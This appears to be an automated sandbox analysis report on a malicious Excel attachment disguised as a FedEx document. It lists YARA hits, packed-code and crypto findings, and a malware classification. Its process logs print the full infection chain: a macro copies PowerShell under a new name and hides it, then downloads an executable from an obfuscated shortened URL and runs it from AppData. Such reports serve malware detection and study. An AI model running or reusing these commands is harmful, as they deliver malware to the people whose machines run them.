Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB879B8		16_2_000000013FB879B8

Document contains embedded VBA macros

Source: 1099008FEDEX_090887766.xls	OLE indicator, VBA macros: true
Source: 1099008FEDEX_090887766.xls	OLE indicator, VBA macros: true

Enables security privileges

Source: C:\Windows\System32\Robocopy.exe	Process token adjusted: Security			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Process token adjusted: Security			Jump to behavior

PE file contains strange resources

Source: powershell.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: powershell.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: powershell.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: powershell.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: powershell.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: powershell.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: powershell.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: powershell.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: powershell.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: powershell.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: powershell.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: powershell.exe.7.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Yara signature match

Source: 1099008FEDEX_090887766.xls, type: SAMPLE	Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
Source: 1099008FEDEX_090887766.xls, type: SAMPLE	Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f

PE file has an executable .text section which is very likely to contain packed code (zlib compression ratio < 0.3)

Source: vc.exe.16.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
Source: vc.exe.16.dr	Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

.NET source code contains calls to encryption/decryption functions

Source: vc.exe.16.dr, u0006/u0006.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: vc.exe.16.dr, u0006/u0006.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: vc.exe.16.dr, u0006/u0006.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 20.0.vc.exe.fd0000.0.unpack, u0006/u0006.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 20.0.vc.exe.fd0000.0.unpack, u0006/u0006.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 20.0.vc.exe.fd0000.0.unpack, u0006/u0006.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 20.2.vc.exe.fd0000.4.unpack, u0006/u0006.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 20.2.vc.exe.fd0000.4.unpack, u0006/u0006.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 20.2.vc.exe.fd0000.4.unpack, u0006/u0006.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: vc.exe.16.dr, u0006/u0006.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: vc.exe.16.dr, u0006/u0006.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: vc.exe.16.dr, u0006/u0006.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 20.0.vc.exe.fd0000.0.unpack, u0006/u0006.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 20.0.vc.exe.fd0000.0.unpack, u0006/u0006.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 20.0.vc.exe.fd0000.0.unpack, u0006/u0006.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 20.2.vc.exe.fd0000.4.unpack, u0006/u0006.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 20.2.vc.exe.fd0000.4.unpack, u0006/u0006.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 20.2.vc.exe.fd0000.4.unpack, u0006/u0006.cs	Cryptographic APIs: 'TransformFinalBlock'

Binary contains paths to development resources

Source: Robocopy.exe, 00000007.00000002.2109596279.0000000002130000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2140328922.000000001CCD0000.00000002.00000001.sdmp	Binary or memory string: .VBPud<_
Source: Robocopy.exe, 00000007.00000002.2109596279.0000000002130000.00000002.00000001.sdmp, o.exe, 00000010.00000002.2140328922.000000001CCD0000.00000002.00000001.sdmp	Binary or memory string: .VBPud<_

Classification label

Source: classification engine

Classification label: mal84.expl.evad.winXLS@25/11@2/2

Contains functionality for error logging

Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB88534 FormatMessageW,GetLastError,??_V@YAXPEAX@Z,??_U@YAPEAX_K@Z,??_V@YAXPEAX@Z,LocalFree,		16_2_000000013FB88534
Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB88534 FormatMessageW,GetLastError,??_V@YAXPEAX@Z,??_U@YAPEAX_K@Z,??_V@YAXPEAX@Z,LocalFree,		16_2_000000013FB88534

Contains functionality to instantiate COM classes

Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB8AFA0 SetThreadUILanguage,CoInitialize,CoInitializeEx,CoCreateInstance,CoUninitialize,SafeArrayCreate,SysAllocString,SafeArrayPutElement,SafeArrayDestroy,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,FreeLibrary,		16_2_000000013FB8AFA0
Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB8AFA0 SetThreadUILanguage,CoInitialize,CoInitializeEx,CoCreateInstance,CoUninitialize,SafeArrayCreate,SysAllocString,SafeArrayPutElement,SafeArrayDestroy,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,??_V@YAXPEAX@Z,FreeLibrary,		16_2_000000013FB8AFA0

Contains functionality to load and extract PE file embedded resources

Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB8B4C0 FindResourceExW,LoadResource,FindResourceExW,LoadResource,SetLastError,		16_2_000000013FB8B4C0
Source: C:\Users\user\AppData\Local\Temp\o.exe	Code function: 16_2_000000013FB8B4C0 FindResourceExW,LoadResource,FindResourceExW,LoadResource,SetLastError,		16_2_000000013FB8B4C0

Creates files inside the user directory

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\Desktop\3BFE0000			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\Desktop\3BFE0000			Jump to behavior

Creates mutexes

Source: C:\Users\user\AppData\Local\Temp\o.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking
Source: C:\Users\user\AppData\Local\Temp\o.exe	Mutant created: \Sessions\1\BaseNamedObjects\Global\.net clr networking

Creates temporary files

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Temp\CVRF3D0.tmp			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Temp\CVRF3D0.tmp			Jump to behavior

Document contains an OLE Workbook stream indicating a Microsoft Excel file

Source: 1099008FEDEX_090887766.xls	OLE indicator, Workbook stream: true
Source: 1099008FEDEX_090887766.xls	OLE indicator, Workbook stream: true

Found command line output

Source: C:\Windows\System32\cmd.exe	Console Write: ...................I....................................@c.I..... ........,................v............ .,.....................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................. . .S.t.a.r.t.e.d. .:. .T.h.u. .N.o.v. .1.9. .0.9.:.1.9.:.5.1. .2.0.2.0.......x.......L.......................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................. . . .S.o.u.r.c.e. .:. ........................................P.v.......M....H............... .|.............			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................. . . . . .D.e.s.t. .:. ........................................P.v.......M....H............... .|.............			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................. . . . .F.i.l.e.s. .:. ........................................P.v............................G...............			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................... . . . ......p.............................. .|......*...................................... {.............			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: ................................ . .O.p.t.i.o.n.s. .:. ..........................................P.v............................Q...............			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................. . . . . . . . . . . . . . . . . . . .1..................................M....(.......,.................{.....			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................. . . . .N.e.w. .F.i.l.e. . ..... . .4.7.3.6.0.0..........................M....X.......4.......................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: ..................................1.0.0.%. . ....P.v............................................................................d1........{.....			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............8...............................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: ........................................................................................+..M.....P.v....0.......................p'{.............			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............8...............................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: ........................................................................................+..M.....P.v....0.......................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............8...............................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: ........................................................................................+..M.....P.v....0.......................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............8...............................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: ........................................................................................+..M.....P.v....0.......................p...............			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............8...............................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: ........................................................................................+..M.....P.v....0.......................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............h...............................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: ................................ . . .E.n.d.e.d. .:. .T.h.u. .N.o.v. .1.9. .0.9.:.1.9.:.5.1. .2.0.2.0...0...............H.......................			Jump to behavior
Source: C:\Windows\System32\timeout.exe	Console Write: ..................................W.a.i.t.i.n.g. .f.o.r. .1.....................................................................pc".............			Jump to behavior
Source: C:\Windows\System32\timeout.exe	Console Write: ................................ .s.e.c.o.n.d.s.,. .p.r.e.s.s. .a. .k.e.y. .t.o. .c.o.n.t.i.n.u.e. .....................J.......pc".......".....			Jump to behavior
Source: C:\Windows\System32\timeout.exe	Console Write: ................D.................0.............,. .p.r.........................................................................X...............			Jump to behavior
Source: C:\Windows\System32\timeout.exe	Console Write: ................D...............................,. .p.r.........................................................................X...............			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Console Write: ...................I....................................@c.I..... ........,................v............ .,.....................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................. . .S.t.a.r.t.e.d. .:. .T.h.u. .N.o.v. .1.9. .0.9.:.1.9.:.5.1. .2.0.2.0.......x.......L.......................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................. . . .S.o.u.r.c.e. .:. ........................................P.v.......M....H............... .|.............			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................. . . . . .D.e.s.t. .:. ........................................P.v.......M....H............... .|.............			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................. . . . .F.i.l.e.s. .:. ........................................P.v............................G...............			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................... . . . ......p.............................. .|......*...................................... {.............			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: ................................ . .O.p.t.i.o.n.s. .:. ..........................................P.v............................Q...............			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................. . . . . . . . . . . . . . . . . . . .1..................................M....(.......,.................{.....			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................. . . . .N.e.w. .F.i.l.e. . ..... . .4.7.3.6.0.0..........................M....X.......4.......................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: ..................................1.0.0.%. . ....P.v............................................................................d1........{.....			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............8...............................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: ........................................................................................+..M.....P.v....0.......................p'{.............			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............8...............................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: ........................................................................................+..M.....P.v....0.......................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............8...............................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: ........................................................................................+..M.....P.v....0.......................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............8...............................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: ........................................................................................+..M.....P.v....0.......................p...............			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............8...............................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: ........................................................................................+..M.....P.v....0.......................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............................................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: .................................................................................................P.v............h...............................			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Console Write: ................................ . . .E.n.d.e.d. .:. .T.h.u. .N.o.v. .1.9. .0.9.:.1.9.:.5.1. .2.0.2.0...0...............H.......................			Jump to behavior
Source: C:\Windows\System32\timeout.exe	Console Write: ..................................W.a.i.t.i.n.g. .f.o.r. .1.....................................................................pc".............			Jump to behavior
Source: C:\Windows\System32\timeout.exe	Console Write: ................................ .s.e.c.o.n.d.s.,. .p.r.e.s.s. .a. .k.e.y. .t.o. .c.o.n.t.i.n.u.e. .....................J.......pc".......".....			Jump to behavior
Source: C:\Windows\System32\timeout.exe	Console Write: ................D.................0.............,. .p.r.........................................................................X...............			Jump to behavior
Source: C:\Windows\System32\timeout.exe	Console Write: ................D...............................,. .p.r.........................................................................X...............			Jump to behavior

Parts of this applications are using the .NET runtime (Probably coded in C#)

Source: C:\Users\user\AppData\Local\Temp\o.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Section loaded: C:\Windows\assembly\NativeImages_v2.0.50727_64\mscorlib\fe6ac93181b40a571892e14bfb9d65f2\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sorttbls.nlp			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Section loaded: C:\Windows\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\sortkey.nlp			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll			Jump to behavior
Source: C:\Users\user\AppData\Roaming\vc.exe	Section loaded: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorlib.dll			Jump to behavior

Reads ini files

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File read: C:\Users\desktop.ini			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File read: C:\Users\desktop.ini			Jump to behavior

Reads software policies

Source: C:\Windows\System32\Robocopy.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers			Jump to behavior
Source: C:\Windows\System32\Robocopy.exe	Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers			Jump to behavior

Reads the hosts file

Source: C:\Users\user\AppData\Local\Temp\o.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Sample is known by Antivirus

Source: 1099008FEDEX_090887766.xls	ReversingLabs: Detection: 14%
Source: 1099008FEDEX_090887766.xls	ReversingLabs: Detection: 14%

Spawns processes

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /c robocopy %windir%\system32\WindowsPowerShell\v1.0\ %temp% powershell.exe /mt /z & exit
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /c timeout /t 1 & cd %temp% & ren powershell.exe o.exe & exit
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /c %temp%\o.exe -w 1 cd $env:temp; Start-Sleep 3; (get-item o.exe).Attributes += 'Hidden'
Source: unknown	Process created: C:\Windows\System32\Robocopy.exe robocopy C:\Windows\system32\WindowsPowerShell\v1.0\ C:\Users\user\AppData\Local\Temp powershell.exe /mt /z
Source: unknown	Process created: C:\Windows\System32\timeout.exe timeout /t 1
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /c %temp%\o.exe -w 1 (New-Object Net.WebClient).DownloadFile(('htt'+'ps://tinyurl.com/y3m5fwhq'),'vc.exe')
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /c %temp%\o.exe -w 1 Start-Sleep 7; Move-Item 'vc.exe' -Destination '$env:appdata'
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /c %temp%\o.exe -w 1 Start-Sleep 12; cd $env:appdata; ./vc.exe;
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\o.exe C:\Users\user\AppData\Local\Temp\o.exe -w 1 (New-Object Net.WebClient).DownloadFile(('htt'+'ps://tinyurl.com/y3m5fwhq'),'vc.exe')
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\o.exe C:\Users\user\AppData\Local\Temp\o.exe -w 1 Start-Sleep 7; Move-Item 'vc.exe' -Destination '$env:appdata'
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\o.exe C:\Users\user\AppData\Local\Temp\o.exe -w 1 Start-Sleep 12; cd $env:appdata; ./vc.exe;
Source: unknown	Process created: C:\Users\user\AppData\Roaming\vc.exe C:\Users\user\AppData\Roaming\vc.exe
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd.exe /c robocopy %windir%\system32\WindowsPowerShell\v1.0\ %temp% powershell.exe /mt /z & exit			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c timeout /t 1 & cd %temp% & ren powershell.exe o.exe & exit			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c %temp%\o.exe -w 1 cd $env:temp; Start-Sleep 3; (get-item o.exe).Attributes += 'Hidden'			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c %temp%\o.exe -w 1 (New-Object Net.WebClient).DownloadFile(('htt'+'ps://tinyurl.com/y3m5fwhq'),'vc.exe')			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c %temp%\o.exe -w 1 Start-Sleep 7; Move-Item 'vc.exe' -Destination '$env:appdata'			Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\cmd.exe cmd /c %temp%\o.exe -w 1 Start-Sleep 12; cd $env:appdata; ./vc.exe;			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\Robocopy.exe robocopy C:\Windows\system32\WindowsPowerShell\v1.0\ C:\Users\user\AppData\Local\Temp powershell.exe /mt /z			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 1			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\o.exe C:\Users\user\AppData\Local\Temp\o.exe -w 1 (New-Object Net.WebClient).DownloadFile(('htt'+'ps://tinyurl.com/y3m5fwhq'),'vc.exe')			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\o.exe C:\Users\user\AppData\Local\Temp\o.exe -w 1 Start-Sleep 7; Move-Item 'vc.exe' -Destination '$env:appdata'			Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\o.exe C:\Users\user\AppData\Local\Temp\o.exe -w 1 Start-Sleep 12; cd $env:appdata; ./vc.exe;			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\o.exe	Process created: C:\Users\user\AppData\Roaming\vc.exe C:\Users\user\AppData\Roaming\vc.exe			Jump to behavior
Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd.exe /c robocopy %windir%\system32\WindowsPowerShell\v1.0\ %temp% powershell.exe /mt /z & exit
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /c timeout /t 1 & cd %temp% & ren powershell.exe o.exe & exit
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /c %temp%\o.exe -w 1 cd $env:temp; Start-Sleep 3; (get-item o.exe).Attributes += 'Hidden'
Source: unknown	Process created: C:\Windows\System32\Robocopy.exe robocopy C:\Windows\system32\WindowsPowerShell\v1.0\ C:\Users\user\AppData\Local\Temp powershell.exe /mt /z
Source: unknown	Process created: C:\Windows\System32\timeout.exe timeout /t 1
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /c %temp%\o.exe -w 1 (New-Object Net.WebClient).DownloadFile(('htt'+'ps://tinyurl.com/y3m5fwhq'),'vc.exe')
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /c %temp%\o.exe -w 1 Start-Sleep 7; Move-Item 'vc.exe' -Destination '$env:appdata'
Source: unknown	Process created: C:\Windows\System32\cmd.exe cmd /c %temp%\o.exe -w 1 Start-Sleep 12; cd $env:appdata; ./vc.exe;
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\o.exe C:\Users\user\AppData\Local\Temp\o.exe -w 1 (New-Object Net.WebClient).DownloadFile(('htt'+'ps://tinyurl.com/y3m5fwhq'),'vc.exe')
